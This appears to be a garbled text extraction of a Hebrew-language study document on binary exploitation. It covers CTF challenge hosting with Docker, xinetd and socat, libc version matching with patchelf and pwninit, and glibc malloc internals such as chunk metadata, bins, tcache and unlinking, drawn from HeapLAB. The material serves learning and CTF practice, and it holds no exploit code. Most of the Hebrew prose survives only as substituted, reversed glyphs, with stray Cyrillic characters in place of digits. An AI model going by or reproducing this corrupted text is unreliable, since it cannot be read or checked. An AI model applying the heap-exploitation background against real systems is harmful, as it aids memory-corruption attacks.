https://gist.github.com/jrelo/f5c976fdc602688a0fd40288fde6d886
https://wiki.ubuntu.com/ToolChain/CompilerFlags
https://www.youtube.com/watch?v=Ide_eg-eQZ0&list=PL-ymxv0nOtqqV1g8LUhC6yIGJKSC70SMy
https://wiki.ubuntu.com/Security/Features
https://security.stackexchange.com/a/24840
https://github.com/MEhrn00/CTF-templates/blob/master/binary-exploitation/xinetd/makefile
https://blog.quarkslab.com/clang-hardening-cheat-sheet.html
https://archive.org/details/shabak-challenge-2021
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˫˞ ˫˩ˮˣ˴˶˟ ˳˧˶ˢ˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˸˶ˣ˴˸˟ ˸˶˷/backend ,ˢˬˣˡ˟ ˢ˷˰ˮ˪ ˟-sCTF ˸ˣ˩˶˰ˬˣ ˸ˣ˧˸˧ˬ˞ 

˸ˣ˸˶˷ˬˢ clients ,˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸˶ˤ˰˟ ˫˧˪˩ ˫˧˦ˣ˷˲ ˣˬ˩ ynet/xinetd/socat .˧˪˩ ˱˯ˣˮ ˷ˬ˷ˬˢ 

˸˶ˡˠˢ˪ ˸ˮ˵˸ˢˣ ˸ˣ˟˧˟˯ ˢ˴˧˶ ˣˮ˧ˢ docker containers. 

 ˭˧˟ ˸ˣˮˣ˶˸˧ˢ ˪˷ ˷ˣˬ˧˷ ˟-Docker ˧˩˶˴˪ Binary exploitation: : 

¶ ˸˪ˣ˩˧ ˡ˧˧ˮ˪ ˸˞ ˸˟˧˟˯ ˢˡˣ˟˰ˢ ,ˣˬ˩ ˞˧ˢ˷ ,˫˧˟˷˥ˬ˪ ˫˧˶˥˞ ˸ˣ˪˵˟ ˧˪˟ˬˣ ˪˟˵˸˸˷ ˸ˣˠˢˮ˸ˢ 

ˢˮˣ˷ ,˨˩ ˳˧˶ˮ˷ ˸˞ ˧˶˞ˮ˧˟ˢ x/x˞ ˡˣ˟˰ˮ ˣ˪ˣˬ ˢ˟˧˟˯˟ ˸ˡˡˣ˟ˬ ˶˞˷ˬ ˸ˣ˧˶˲˯ˢ ˸ˣˮ˵ˣ˸ˬˢ ˸˩˶˰ˬ˟ 

ˢ˪˰˲ˢˢ , 

¶ ˭ˣ˩˯˧˥ ˭ˬˤ˟ ˢ˧˴˪˧˲ˬˣ˵/build ˪˷ ˢ˟˧˟˯ˢ )ˢˬ˵ˢ ˢ˶˧ˢˬ ˯˲˞ˬ ˪˷ ˢ˟˧˟˯ ˢ˰˧ˠˬˢ ˫˰ ˸ˣ˞˯˶ˠ 

˸ˣˬ˧˧ˣ˯ˬ ˪˷ ˫˧˪˩/˸ˣ˧˶˲˯ ˫˧ˮ˵˸ˣˬˢ ˸˟˟ ˸˥˞ ,˸˧˦ˬˣ˦ˣ˞.( 

ˢˬˠˣˡ ˸ˮ˧˧ˮ˰ˬ ˸˧˸˷˸˪ CTF ˸˟˩˶ˣˬ )ˡ˟˪ˬ ˴˧˲ˢ'˶ ˪˷ ˫˧˪ˠˡˢ ˫˧˪˪ˣ˥ˬ˷ ˸˧˞˶˵˞ ˶ˣ˟˰ ˪˩ ˢ˴ˣ˟˵ (

ˢ˷ˣ˰ˢ ˷ˣˬ˧˷ ˟-docker ,socat x-Makefiles ˞˧ˢ ˨ˣ˸ˬ ˸ˣ˶˥˸ ˪˷ ˪˧˥ ˶˧ˣˣ˞ˢ ˧˞˵˧˶ˬ˞ˢ Hack A Sat 2 

Qualifiers )˫˞ ˧˩ ˫˯˶ˣ˲ ˵˶ ˵˪˥ ˡˣ˵ˢˬ ˪˷ ˸˧˸˷˸ˢ ˫ˢ˪˷ .(ˢˬˠˣˡ ˢ˦ˣ˷˲ ˶˸ˣ˧ ˪-templates ˸˞˴ˬˮ 

˦˵˧ˣ˶˲˟ ˢˤˢ .˞ˮ ˶ˢˤ˧ˢ˪ ˫˰ ˷ˣˬ˧˷ ˟-makefiles ˭ˣˮˠ˯˟ ˢˤˢ ˷˧˷ ˪˰ ˫˧˸˶˷ˢ ˪˷ root-me ˣˬ˩ ˞ˣˢ˷ ,

ˡ˥ˣ˧ˬ˟ ˫˞ ˫˸˞ ˞˪ ˫˧˰ˡˣˬ ˸ˣ˩˪˷ˢ˪ ,˵˥˷ˬˢ ˫˰ ˸ˣ˞˷˶ˢˢ sx-flags ˪˷ ˳˟ˣ˵ˢ ˪ˣ˩˧ ˸ˣ˷˰˪ ˫˩˪ 

˸ˣ˧˰˟ ˵ˣ˥ˬ˪ ˣ˸ˣ˞ ˣ˩ˣ.' 

˭˧˧ˮ˰ ˱˯ˣˮ ˞ˣˢ ˟˪˷ s-linkage .ˢ˶˵ˬ˟ ˪˷ ˧˶˞ˮ˧˟ ˠˣ˯ˬ dynamically linked ,˭˩˸˧ ˣ˶˷˵˸˸ˣ ˪ˣˬ ˡ˴ 

˸˶˷ˢ ˣ˟˷ ˢ˴˶ ˸˧ˮ˩ˣ˸ ˳˟ˣ˵ˬ ˧˶˞ˮ˧˟ )elf ˪˷ˬ˪ (˶˷ˣ˵ˬ˷ ˢ˯˶ˠ˪ ˸ˬ˧˧ˣ˯ˬ ˪˷ libc ˞ˣˢ˷ ˷ˬ˸˷ˬ ˢ˟ .

ˢ˰˧ˡ˧ ˪˷ ˸˯˶ˠ s-glibc ˡ˰˧ˢ˷ ˳˧˶ˬ ˞˧ˢ ˡ˟"˩ ˢ˟ˣ˷˥ ,˸˞ˤˣ ˫ˣ˷ˬ ˪˩˪˷ build )ˣ˪˧˲˞ ˫˞ ˶˲˯ˬ˟ 

˶˟ˣˡˬ ˣ˸ˣ˞˟ ˢ˯˶ˠ (ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˯˧˶˲ ˭ˣ˶˩˧ˤ ˸˶˥˞ ,˫˞ ˧˩ ˸˧˪˞˧˴ˮ˦ˣ˲ )˧ˣ˪˸ ˢ˧˴˞ˣ˦˧˯ (˭˸˧ˮ ˵ˬ˥˸ˢ˪ 

ˢˤˬ ˫˞ s-exploit ˣˮ˪˷ ˞˪ ˷˶ˣˡ ˸ˠ˪ˤˢ ˸ˣ˟ˣ˸˩ )leakless (ˣ˞ ˞ˣˢ˷ ˥˧˪˴ˬ ˱ˣ˵˰˪ ˸ˣˮˠˢ heap 

˸ˣ˧ˮ˶ˡˣˬ .˟ˣ˶˪ ,˫˞ ˣˮ˞ ˫˧˰ˡˣ˧ x˞ ˫˧˪ˣ˩˧ ˰ˣ˟˵˪ ˣˤ˧˞ ˢˬ˶ˣ˲˦˪˲ ˡ˰˧ˢ ˳˧˶ˬ ,˭˸˧ˮ ˵˧˯ˢ˪ ˸˞ ˸˯˶ˠ s-

glibc . 

˫˞ ˭˧˞ ˣˮ˪ ˰ˡ˧ˬ ˢˤ˩˷ )ˣˬ˩ ˢ˶˵ˬ˟ ˪˷ ˢ˴˲ˢ ˠˣ˯ˬ rolling ˸˪˟˵ˬ˷ ˫˧ˮˣ˩ˡ˰ ˫˧˲˦ˣ˷ ˣˬ˩ LinuxArch  (

˭ˮ˷˧ ˸ˣ˥˲˪ ˢˬ˩ ˫˧˩˶ˡ ˭ˢ˟ ˭˸˧ˮ ˠ˧˪ˤˢ˪ ˰ˡ˧ˬ ˢˤ ˸˧ˮ˩ˣ˸ˬ ˢ˶˦ˬˢ )ˢ˥ˮˢ˟ ˭˸˧ˮ˷ ˠ˧˪ˤˢ˪ ˰ˡ˧ˬ ˢˮˬˬ ,(

ˣˬ˩ ˸˞˧˴ˬ ˦˯˧ˢˢ ˪˷ н x˞ о ˸ˣ˧˴˵ˮˣ˲ ˸ˣˮˣ˷ ˫˸˞ˣˣ˷ˢˣ ˡˠˮ˩ builds ˫˧˧˶˪˲ˣ˲ ˪˷ glibc .˫ˮ˷˧ ˫˧˶˸˞ 

ˣˬ˩ libc database ˫˧˪˩ˣ ˫˧˲˯ˣˮ ˫˧˰ˡˣ˧˷ ˸ˣ˷˰˪ ˸˞ˤ .˭˸˧ˮ ˫ˠ ˠ˧˪ˤˢ˪ ˸˞ ˸ˤˣ˶˥ˬ ˢ˯˶ˠˢ ˧˶˞ˮ˧˟ˢˬ ˪˷ 

libc ,˪˷ˬ˪ ˨ˣ˸ˬ ˪ˣ˟ˬ˧˯ˢ __libc_version .˭˩˸˧˧ ˫˧˶˥˞˷ ˫˧ˠ˧˷ˬ ˰ˡ˧ˬ ˢˤ˩˷ ˸ˣ˦˧˷˟ ˸ˣˣ˴-˫ˣˡ˞. 

ˢˡ˧ˬ˟ ˭˩˞ˣ ˟ˣ˷˥ ˣˮ˪ ˸ˣˬˡ˪ ˸˞ ˢ˟˧˟˯ˢ ˸˶˷ˢ˷ ˳˧˶ˬ ,ˢ˴˶ˮ ˢ˷-exploit ˣˮ˪˷ ˷ˬ˸˷˧ ˣ˸ˣ˞˟ libc .

˫˧ˬ˰˲˪ ˢ˧ˢ˧ ˵˧˲˯ˬ ˶˧ˡˠˢ˪ ˢˮ˸˷ˬ ˢ˟˧˟˯ ˫˷˟ LD_PRELOAD )˶˷˲˞ ˫ˠ ˸˶ˤ˰˟ ˦˲˧˶˵˯ 

˭ˣ˸˧˧˲/˦ˮˬˣˠ˶˞ ˫˷˟ env ˢ˧˴˵ˮˣ˲˪ process ˟-pwntools .(˸˥˞ ˫˧˩˶ˡˢˬ ˸ˣ˦ˣ˷˲ˢ ˰˴˟˪ patching 

˧˶˞ˮ˧˟˪ ˪ˣ˲˧˦ˣ ˧ˮ˧˧ˮ˰˟ ˸ˣ˧˶˲˯ˢ ˸ˣ˶˷ˣ˵ˬˢ sx-loader ,˞˧ˢ ˸˶ˤ˰˟ ˫˧˪˩ ˣˬ˩ pwninit x˞ patchelf )˧ˡ˩ 

https://moraprogramming.hateblo.jp/entry/2020/12/21/232357
https://www.youtube.com/watch?v=cPGZMt4cJ0I
https://www.youtube.com/watch?v=OqTpc_ljPYk&t=1s
https://github.com/skysider/pwndocker/blob/master/Dockerfile
https://github.com/cromulencellc/hackasat-qualifier-2021/
https://github.com/MEhrn00/CTF-templates
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˰˴˟˪ ˸˰˩ ˸˞ ˢˬ ˢ˧ˢ˷ ˶˷˲˞ ˸ˣ˷˰˪ ˭ˬˤ˟ ˢ˧˴˪˧˲ˬˣ˵ ,ˣˬ˩ ˸˶ˡˠˢ s-paths ˪˷rpath/run-path  x-

dynamic-linker .(ˢ˶˵ˬ˟ ˪˷ ˸˶˷ ˳˧˶ˬˢ ˢ˴˲ˢ ˢˮˣ˷ ˪˷ ˯˵ˣˮ˧˪ ,˶˧˟˯ ˢ˴˶ˮ˷ ˳˧˶ˢ˪ ˸˞ ˧˶˞ˮ˧˟ˢ 

ˢ˴˲ˢ˟ ˢˮˣ˷ ˣˮˬˬ ˣˮ˪˴˞,˫˷˪ ˨˩ ˨˶˦˴ˮ ˠ˧˷ˢ˪ ˫ˠ ˸˞ ˳˟ˣ˵ s-ld.so )loader (-ˬpackage ˪˧˩ˬˢ ˸˞ 

ˣ˸ˣ˞ libc )˪˷ˬ˪ ˨ˣ˸ˬ binutils ˣ˪˷ ,(˪˩˟ ˢ˶˵ˬ x˟ ˷˧ ˣˮ˪ ˵˶ ˸˞ s-libc.so ˪˷ build ˫˧˧ˣ˯ˬ ˫˧˪˩ˢ 

ˮˢ"˪ ˞˪ ˣ˪˧˰ˣ˧ ˣˮ˪ .ˢ˟˥˶ˢ˪ ˞˷ˣˮ˟ ˣˮ˧˧˰ ˵˪˥˟ ˪˷ ˸ˣ˞ˬˠˣˡ ˸˦˧˷˪ ˢˡˣ˟˰ ˶ˣ˟˰ exploitation heap 

˸˥˸ "˸ˣˮˣ˶˸˲ ˫˧˶ˠ˸˞ ˢˬˠˣˡ˪ ˸ˣ˧ˣ˶˥˸ˬ CTF." 

 

˸˴˵ ˢ˧˶ˣ˞˧˸ 

 glibc - GNU C library 

˸˵˲˯ˬ ˸˞ ˸ˣ˧˶˲˯ ˢ˟˧˪ˢ ˶ˣ˟˰ ˸˩˶˰ˬ GNU ˸ˣ˩˶˰ˬˣ GNU/Linux ˣˬ˩ˣ ˭˩ ˶ˣ˟˰ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˸ˣ˟˶ 

˸ˣ˶˥˞ ˸ˣ˷ˬ˸˷ˬ˷ ˯˵ˣˮ˧˪˟ ˭˧˰˶ˠ˩ .˸ˣ˧˶˲˯ ˣ˪˞ ˸ˣ˵˲˯ˬ API-˫˧ ˫˧˪˪ˣ˩ˢ ˸ˣ˧˸˷˸ ˸ˣ˧˯˧˯˟ ˣˬ˩ open, 

read, write, malloc, printf, getaddrinfo, dlopen, pthread_create, crypt, login, exit. 

˦˵˧ˣ˶˲ s-glibc ˣˮ˧ˢ ˡˣ˵˟ ˥ˣ˸˲ ˵ˤ˥ˣ˸ˬˣ ˪˰ ˧ˡ˧ ˸˪˧ˢ˵ ˫˧˥˸˲ˬ ˶˟˩ ˶˸ˣ˧ ˬ-о ˫˧˶ˣ˷˰. 

Malloc )˞˪ ˢ˧˴˵ˮˣ˲ˢ malloc()(: 

ˣˢˤ ˫˷ˢ ˭˸˧ˮ˷ ˢ˴˵ˬ˪ ˭ˣ˶˩˧ˤˢ (memory allocator) ˪˷ glibc. ˣˢˤ ˱˯ˣ˞ ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˞˦ˬˣ-ˢ˦˞ˡ 

˫˧˷ˬ˸˷ˬ˷ ˧ˡ˩ ˵˲˯˪ ˨˧˪ˢ˸˪ ˳˶ ˭ˣ˶˩˧ˤ ˧ˬ˞ˮ˧ˡ )˭ˬˤ˟ ˢ˴˧˶ ˸ˬˣ˰˪ ˭ˣ˶˩˧ˤ ˧˦˦˯ ˢ˴˵ˣˬˢ ˭ˬˤ˟ 

ˢ˧˴˪˧˲ˬˣ˵ .( 

˞˦ˬˢ-ˢ˦˞ˡ ˟˩˶ˣˬ ˬ-arenas )˫˧ˮ˟ˬ ˪˩˷ ˡ˥˞ ˫ˢˬ ˷ˬ˷ˬ ˪ˣˢ˧ˮ˪ heap ˡ˥˞ x˞ ˶˸ˣ˧ ˧ˣ˷˰ˣ ˸ˣ˧ˢ˪ 

˱˸ˣ˷ˬ ˭˧˟ ˢˬ˩ threads ,(heaps )˭˧˞ ˫ˣ˷ ˶˷˵ ˢˮ˟ˬ˪ ˫˧ˮˣ˸ˮ ˪˰˟ ˫˷ ˢˢˤ ˫˸˧˶ˣˠ˪˞ˬ heapsort, 

˫˷ˢ ˶˥˟ˮ ˨˩ ˫ˣ˷ˬ ˶ˣˤ˞˷ ˢˤ ˪˧˩ˬ ˸ˣ˩˧˸˥ ˭ˣ˶˩˧ˤ ˫˧˪ˡˠ˟ ˫˧ˮ˸˷ˬ (- ˥˦˷ ˪ˣˡˠ ˭ˣ˶˩˧ˤ˟ ˪˧˩ˬˢ ˫˧˵ˣ˪˟ 

˫˧˲˧˴˶ ˫˧ˮ˸˧ˮˢ ˢ˵ˣ˪˥˪ ˪-chunks ,-xchunks - ˫˧ˮ˟ˬˢ ˫˩ˣ˸˟˷ ˶ˬ˷ˮ ˰ˡ˧ˬˢ ˷ˬ˸˷ˬˢˬ. 

˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ Malloc ˸ˣ˷ˬ˸˷ˬ ˟-arenas ˟x-heaps )˫˧˰˟˴ˣˬˢ ˪˰ ˫ˡ˧ (˪˰ ˸ˮˬ ˰˴˟˪ ˸ˣ˰ˣˮ˸ )˭ˣˮˠ˯˟ 

"˶˟ˣ˰ ˟˷ˣ" ˣˬ˩ ˵ˮ˟ (˪˷ ˸ˣ˩˧˸˥ ˭ˣ˶˩˧ˤ ˪˞ ˪ˣˬ/˶ˣ˟˰ ˨˧˪ˢ˸. 

Malloc Internals - ˷ˣˬ˧ˬˢ ˧ˬ˧ˮ˲ˢ ˪˷ ˭ˣˮˠˮˬˢ: 

Chunks 

˧˧ˮ˟˞ ˭˧˧ˮ˟ˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˷-Malloc ˵˯ˣ˰ x˟ ,˟ˣ˶˪ ˫ˢ ˫˧˰˧˲ˣˬ ˢ˶ˣ˴˟ ˪˷ ˸ˣ˩˧˸˥ ˪˷ ˭ˣ˶˩˧ˤ ˢˬ heap ,

˫˞ ˧˩ ˫ˢ ˫˧˪ˣ˩˧ ˶˴ˣˣ˧ˢ˪ ˸ˣ˷˧˩ ˸ˡ˶˲ˮ )˶ˣˤ˞ ˱˧˴˶ ˫ˢ˪˷ˬ ˟˥˶ˬ˟ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˪˷ ˨˧˪ˢ˸ˢ ˭˸˧ˮˢ 

ˢˮ˧˥˟˪ ˰"˧ ˸ˣˡˣ˵˲ ˣˬ˩ vmmap / proc info ˨ˣ˸ˬ pwndbg/GDB ("˧˰ ˢ˞˧˶˵ ˪- mmap() )system call (

˭˧˟ ˫˞ ˸ˣ˶˧˷˧ x˞ ˭˧˲˧˵˰˟ )ˢˬˠˣˡ˪ ˷ˬ˸˷ˬˢ ˞˶˵ ˸˧˧˴˵ˮˣ˲˪ ˢ˧˶˲˯ˢ malloc() ˢ˶ˣ˸˟˷ ˢ˦˧˪˥ˢ 
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˸˶˷˪ ˸˞ ˢ˷˵˟ˢ ˰"˧ mmap()( .chunks ˫˧˟˩˶ˣˬ ˢˡ˷ˬ ˪ˡˣˠ ˢˡ˷ˣ ˶ˣ˟˰ ˰ˡ˧ˬ ˪˷ ˷ˬ˸˷ˬˢ ˠ˴ˣˬ˩ 

˶ˣ˧˞˟ м .˪˰ ˢˬ ˭˯˥ˣ˞ˬ˷ ˟˧˟˯ˬ ˸ˣˡ˷˪ ˣ˪˞ ˶˟ˡˮ ˨˷ˬˢ˟: 

 

ϐ˶ˣ˧˞ мΥ ˢˮ˟ˬ sπChunk Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

ˡˣ˰˟ ˸ˣ˧ˮ˩ˣ˸ )ˡˣ˵ (˸ˣˡ˟ˣ˰ ˫˰ ˫˧˰˧˟˴ˬ ˵˪˥˪ ˪˷ s-user data ,malloc ˟˧˷˥ˬ ˸˞ ˢ˪˥˸ˢˢ ˪˷ s-

chunk ˩-у ˫˧˸˟ ˧ˮ˲˪ ˫ˣ˵˧ˬ ˢˡ˷ s-size )˞˴ˣ˧ˢ ˭ˬ ˪˪˩ˢ ˞ˣˢ ˶˷˞˩ ˭ˣˮˠˮˬ ˠ˴ˣ˧˷ ˨˷ˬˢ˟ ˫˷˟ Tcache 

˪˰˲ˣˬ .ˢTcache- ˵˧ˤ˥ˬ ˫˧˰˧˟˴ˬ ˪-user data ˣˬ˩ ˸˧ˮ˩ˣ˸ˢ .( 

ˢˡ˷ s-size ˭˧˧˴ˬ ˸˞ ˸ˣˬ˩ ˫˧˸˟ˢ ˪˷ s-user data )ˣ˪˞ ˫˧ˮ˸˧ˮ˷ ˢ˟˧˸˩˪ ˰"˧ ˷ˬ˸˷ˬˢ + (˸ˣˬ˩ 

˫˧˸˟ˢ ˯˲ˣ˸˷ ˢˡ˷ s-size ˣˬ˴˰˟ - у ˫˧˸˟ ,˨˩ ˶ˣ˟˰˷ chunk ˫˰ нп ˫˧˸˟ ˪˷ user data ˪˷ˬ˪,s-

size field ˪˧˩˧ ˸˞ ˨˶˰ˢ 0x20 ,x˞ он ˧˪ˬ˧˴ˡ˟ .ˢ˸˰ˬ ˨˪˧˞ˣ ˯˥˧˧˸ˮ ˨˶˰˪ ˢˡ˷ ˢˤ ˪ˡˣˠ˩ s-chunk. 

˪ˡˣˠ s-chunk ˧˪ˬ˧ˮ˧ˬˢ ˭˸˧ˮ˷ ˷ˣˬ˧˷˪ ˞ˣˢ 0x20 ,˫˞ ˧˩ ˨ˣ˸˟ ˡˣ˵ˢ ˪˷ malloc ˢ˷˰ˮ ˫ˠ ˷ˣˬ˧˷ ˟-

fencepost chunks ˪ˡˣˠ˟ 0x10 .˶˧˩ˤˮ ˫˸ˣ˞ ˨˷ˬˢ˟ ,˰ˠ˶˩ ˫ˢ ˞˪ ˫˧˧˦ˮˣˣ˪˶. 

˧˩˶˰ ˪ˡˣˠ chunk ˫˧˪ˡˠ ˸ˣ˴˧˲˵˟ ˪˷ мс ˫˧˸˟ ,˨˩ ˪ˡˣˠˢ˷ ˞˟ˢ ˧˶˥˞ 0x20 ˞ˣˢ 0x30 ,ˤ˞ˣ 0x40 ˣ˩ˣ .'

˸ˣ˰ˬ˷ˬˢ ˞˧ˢ ˧˩ s-least significant nibble )п ˫˧˦˧˟ˢ ˫˧ˮˣ˸˥˸ˢ (˪˷ s-size field ˞˪ ˫˧˰˧˲˷ˬ ˪˰ 

˪ˡˣˠ s-chunk ,˫ˣ˵ˬ˟ ˸˞ˤ ˫ˢ ˫˧˪˧˩ˬ ˫˧˪ˠˡ )˪˩ ˦˧˟ (˫˧ˮ˧˧˴ˬ˷ ˸˞ ˟˴ˬ s-chunk . 

˫˧˪ˠˡ ˣ˪˞ ,˦˧˟ˢˬ ˨ˣˬˮˢ ˢˣ˟ˠ˪ )˭˧ˬ˧ˬ ˪˞ˬ˷˪:( 

¶ PREV_INUSE - ˶˷˞˩ ˵ˣ˪ˡ )set (˭˧˧˴ˬ ˢ˷-chunk ˫ˡˣ˵ˢ ˞˴ˬˮ ˷ˣˬ˧˷˟ ,˶˷˞˩ ˯˲ˣ˞ˬ )clear (

˭˧˧˴ˬ ˢ˷-chunk ˫ˡˣ˵ˢ ˧˷˲ˣ˥ )˭˸˧ˮ ˢ˞˴˵ˢ˪ ˨˶ˡ˟ ˧ˢ˷˪˩.( 

¶ IS_MMAPPED - ˶˷˞˩ ˵ˣ˪ˡ ,˭˧˧˴ˬ ˷-chunk ˢˤ ˢ˴˵ˣˢ ˰"˧ mmap() ˸˶˥˞ˣ ˪˧ˠ˶ ˪˰ s-heap. 

¶ NON_MAIN_ARENA - ˶˷˞˩ ˵ˣ˪ˡ ,˭˧˧˴ˬ ˷-chunk ˢˤ ˞˪ ˨˧˧˷ ˪-main arena .˫˧˪ˠˡ˪ ˣ˪˞ ˸ˣ˟˧˷˥ 

ˢ˟˶ ˨˞ ˞˪ ˡ˧ˬ˸ ˭ˣˮˠˮˬˢ ˯˥˧˧˸ˬ ˪˩˪ ˫˧˪ˠˡˢ )˭ˣ˶˸˧ ˱˵ˣ˸˪ ˪˟ˠˣˬ˷ ˣ˸˪ˣ˩˧˟ ˶ˣ˥˟˪ ˨˶˰ ˧˸ˣ˶˧˶˷ 

˫˶ˣ˟˰ .(˦˧˟ˢ ˧˰˧˟˶ˢ ˞˪ ˷ˣˬ˧˷˟. 
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˭˸˧ˮ ˸ˣ˞˶˪ ˫˸ˣ˞ ˶ˣ˧˞˟ ˞˟ˢΥ 

 

ϐ˶ˣ˧˞ нΥ ˧˪ˠˡ ˢˡ˷ ˪ˡˣˠˢ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

ˢˡ˷ s-user data ˞ˣˢ ˭ˣ˶˩ˤˢ ˭˧ˬˤˢ ˶ˣ˟˰ ˨˧˪ˢ˸ˢ ˷˵˧˟˷ ˣ˸ˣ˞ .˸˟ˣ˸˩ˢ ˪˷ ˢˡ˷ ˢˤ ˞˧ˢ xʕ ˸˶ˤ˥ˣˬ˷ 

˸ˣ˧˴˵ˮˣ˲ˬ ˸˞˴˵ˢ ˭ˣ˶˩˧ˤˢ ˪˷ malloc )malloc(),calloc()  ,realloc() ˣ˩ˣ .('Chunks ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˡ˥˞˟ 

˧ˮ˷ˬ ˫˧˟˴ˬ ˫ˮ˧˞˷ ˫˧˪ˣ˩˧ ˫˧˧˵˸ˢ˪ x˟ ˸˧ˮˬˤ )mutually exclusive :(ˢ˴˵ˣˬ x˞ ˶˶˥ˣ˷ˬ . 

˶˷˞˩ chunk ˶˶˥ˣ˷ˬ ,ˡ˰ 5 quadwords )мqw=4*2B=8Bytes (˨ˣ˸ˬ s-user data ˣ˪˷ ˫˧ˡ˰ˣ˧ˬ ˷ˡ˥ˬ 

-˩metadata ˪˷ malloc ˱˞ˣ ˫˧˧ˣ˷˰ ˨ˣ˲ˢ˪ ˵˪˥˪ ˢˬ-chunk ˞˟ˢ )˫˧ˠˡˮ ˨˷ˬˢ˟ .(˦ˣ˶˧˲ ˪˰ s-

metadata ˷ˣˬ˧˷˟˷ ˪˩˟ bin )bins ˫ˢ ˸ˣˬˣ˵ˬˢ ˭ˣ˶˩˧ˤ˟ ˫ˢ˟ ˫˧˶ˬ˷ˮ ˫˧˰˧˟˴ˬ ˸ˣˬ˧˷˶˪ ˸ˣ˶˷ˣ˵ˬ ˪˷ 

chunks ˫˧˶˶˥ˣ˷ˬ ˧˩˶˴˪ ˶ˣˤ˥ˬ (˞˴ˬˮ ˸˥˸ ˵˪˥ˢ ˪˷ Arenas ˶ˬ˞ˬ˟ ˢˤ. 

-sqwadword ˭ˣ˷˞˶ˢ ˪˷ s-user data ˡ˰ˣ˧˧ ˷ˡ˥ˬ ˩-forward pointer (fd) ˶˷˞˩ s-chunk ˶˶˥ˣ˷ˬ ,

˪˩ s-bins ˫˧˷ˬ˸˷ˬ ˟-forward pointer ˢˬ˧˷˶˟ ˸˶˷ˣ˵ˬˢ ˫ˢ˪˷ .-sqw ˧ˮ˷ˢ ˡ˰ˣ˧˧ ˷ˡ˥ˬ ˩-

backward pointer ˨ˣ˸˟ chunks ˫˧˶˶˥ˣ˷ˬ ˣ˶˷ˣ˵˷ ˪˞ ˨ˣ˸ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xl-˸˧ˮˣˣ˧˩ ˧ˢ˷˪˩ ˣˬ˩ xʕ 

˪˷ s-unsortedbin x˞ s-smallbins .ˢqwadwords ˧˷˧˪˷ˢ ˧˰˧˟˶ˢˣ ˣˡ˰ˣ˧˧ ˷ˡ˥ˬ ˫˧˰˧˟˴ˬ˩ ˫˷˟ 

fd_nextsize x-bk_nextsize ˨˞ ˵˶ˣ ˢ˶˵ˬ˟ ˢ˷-chunk ˶˶˥ˣ˷ˬˢ ˶˷ˣ˵˧ ˪-largebins )˵˶ ˞ˣˢ ˢ˷ˣ˰ 

˫ˢ˟ ˷ˣˬ˧˷ (˫ˣ˵˧ˬˢ ˪˷ metadata ˢˤ ˠ˴ˣˬ ˶ˣ˧˞˟ о: 

 

ϐ˶ˣ˧˞ о Υ˸ˣˡ˷ ˪ˣˢ˧ˮ ˪˷ chunk Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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-˟bins ˫˧˩ˬˣ˸˷ ˡˣ˥˧˞˟ )consolidation ,(-squadword ˭ˣ˶˥˞ˢ ˪˷ s-user data ˟-chunk ˶˶˥ˣ˷ˬˢ 

˫˧ˡ˰ˣ˧ˬ ˷ˡ˥ˬ ˢˡ˷˩ ˫˷˟ prev_size ˭˧˧˴ˬ˷ ˸˞ ˪ˡˣˠˢ ˪˷ s-chunk ˶˶˥ˣ˷ˬˢ ˢˬˣˡ˟ ˨˶˰˪ s-size 

field ˨˞ ˡˣˠ˧ˮ˟ ˣ˧˪˞ - ˞˪˪ ˫˧˪ˠˡˢ )˫˧˯˲ˣ˞ˬ .ˢ˷˰ˮ ˡ˟"˩ ˰"˧ bitwise AND masking .(Malloc ˟˧˷˥ˬ 

˸˞ ˢˡ˷ s-prev_size ˵˪˥˩ ˢˬ-chunk ˞˟ˢ ˸ˣ˥˩ˣˮˢˣ ˣ˪˷ ˢˣˣ˪ˬ ˯ˣ˲˧˞˟ ˪ˠˡ s-PREV_INUSE ˪˷ s-

chunk ˞˟ˢ )˧˩ s-chunk ˣ˧ˮ˲˪˷ ˶˶˥ˣ˷ˬ ˸˰˩ ,(˫ˠˡˣˬ˩ ˶ˣ˧˞˟ п: 

 

ϐ˶ˣ˧˞ п Υˢˡ˷ ˪ˡˣˠ sπchunk ˫ˡˣ˵ˢ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

˸ˣ˞˯˶ˠ˟ ˪˷ glibc >= 2.29 ,-sqw ˧ˮ˷ˢ ˨ˣ˸ˬ s-р ˣ˶˩ˤˣˢ˷ ˪˧˰˪ ˪˷ chunks ˫˧˶˶˥ˣ˷ˬ ˣ˶˷ˣ˵˷ ˪˞ 

˨ˣ˸ Tcachebin ˫˧ˡ˰ˣ˧ˬ ˷ˡ˥ˬ ˢˡ˷˩ "key "˷ˬ˷ˬˢ ˧ˣˢ˧ˤ˪ ˪˷ ˧˷˧˥˶˸ double free )ˢˮˠˢ ˧ˮ˲ˬ .(˶ˣ˧˞ 

р ˶˞˸ˬ chunk ˶˶˥ˣ˷ˬ ˶˷ˣ˵ˬˢ ˪-tcachebin: 

 

ϐ˶ˣ˧˞ р Υtcache chunk metadata Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

Unlinking 

˨˪ˢˬ˟ ˸ˣ˪ˣ˰˲ ˢ˞˴˵ˢ ˶ˣ˶˥˷ˣ ,chunks ˫˧˧ˣ˷˰ ˵˸ˮ˧ˢ˪ ˢˬ-free list ˢ˟˷ ˣ˧ˢ ,-schunk ˶˯ˣˬ˷ 

